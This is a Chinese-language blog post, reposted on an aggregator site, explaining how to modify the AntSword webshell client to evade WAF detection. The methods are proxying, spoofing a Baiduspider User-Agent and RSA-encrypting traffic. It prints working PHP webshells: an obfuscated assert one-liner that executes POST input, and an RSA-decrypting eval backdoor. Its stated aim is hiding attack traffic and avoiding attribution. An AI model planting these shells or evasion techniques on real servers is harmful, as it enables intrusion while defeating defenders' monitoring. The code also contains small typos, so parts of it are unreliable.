0x00 前言

?

針對(duì)于蟻劍的特征，對(duì)于流量傳輸中WAF檢測(cè)的繞過(guò)， 打造武器庫(kù)， 進(jìn)行合理化的修改，例如請(qǐng)求頭的偽造，流量的加密等一些常用功能，這邊主要進(jìn)行 這幾部分的修改。

?

0x01 修改位置

?

• 蟻劍代理通道

• UA特征偽造

• RSA流量加密

• ?

0x02 具體操作

1.蟻劍代理通道

?

蟻劍代理通道設(shè)置（前提是必須有這個(gè)代理）：

?

2.UA特征偽造

?

蟻劍默認(rèn)UA抓包：

主要修改的位置：

/modules/request.js

?

這邊主要是推薦百度UA，具體自己可以百度下其他UA，都可以根據(jù)需要來(lái)進(jìn)行設(shè)置：

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

?

原來(lái)的UA：

UA修改后（百度UA爬蟲）：

/modules/update.js

同樣的方法，將UA頭修改為百度爬蟲：

?

修改前：

修改后UA頭：

通過(guò)以上修改后，抓包查看：

3.RSA流量加密

?

蟻劍從2.1開(kāi)始支持了RSA加密算法，但是僅僅支持php。
在我們隱藏流量中無(wú)非就是采用對(duì)稱密鑰加密和非對(duì)稱密鑰加密。

<?php $k=base64_decode('YXNzZXJ0'); $k($_POST['cmd']); ?>

注意這里YXNzZxJ0 base64解密為assert，eval不可以。

因?yàn)閑val屬于語(yǔ)言構(gòu)造器，在php中不能來(lái)回調(diào)，類似call_user_function()。

?

其中數(shù)據(jù)請(qǐng)求包中存在eval關(guān)鍵字，還是容易被waf檢測(cè)到，所以UA頭一定要記得修改。

?

采用RSA加密

?

新建一個(gè)rsa編碼器

<?hphp $cmd = @$_POST['ant']; $pk = <<<EOF -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCjQSEjYvGaB7q7G5bjKs2b+v34 XZ5/XhHDScxpv88C+fDv6IwxErr0kwcOp+an21tTtRF7Wl4MbEksL6wE3PNPt39k 8i4PBfg51IjBYOmer8AHqr9qyDZq5XgK65yOCWsOIN8+fuP7DtvRxfTFoBNK6O3N eAKyYF0SRzIqPz8CvwIDAQAB -----END PUBLIC KEY----- EOF; $cmds = explode("|", $cmd); $pk = openssl_pkey_get_public($pk); $cmd = ''; foreach ($cmds as $value) {if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {$cmd .= $de;} } eval($cmd);

0x03 總結(jié)

?

細(xì)節(jié)決定成敗，針對(duì)于WAF和內(nèi)網(wǎng)流量設(shè)備的檢測(cè)，使用加密流量去混淆在正常流量中，使用代理模式，防止間接性溯源。如果有更好的繞過(guò)方式和流量混淆方式，請(qǐng)及時(shí)聯(lián)系，共同學(xué)習(xí)進(jìn)步。

總結(jié)

以上是生活随笔為你收集整理的蚁剑特征性信息修改简单过WAF的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。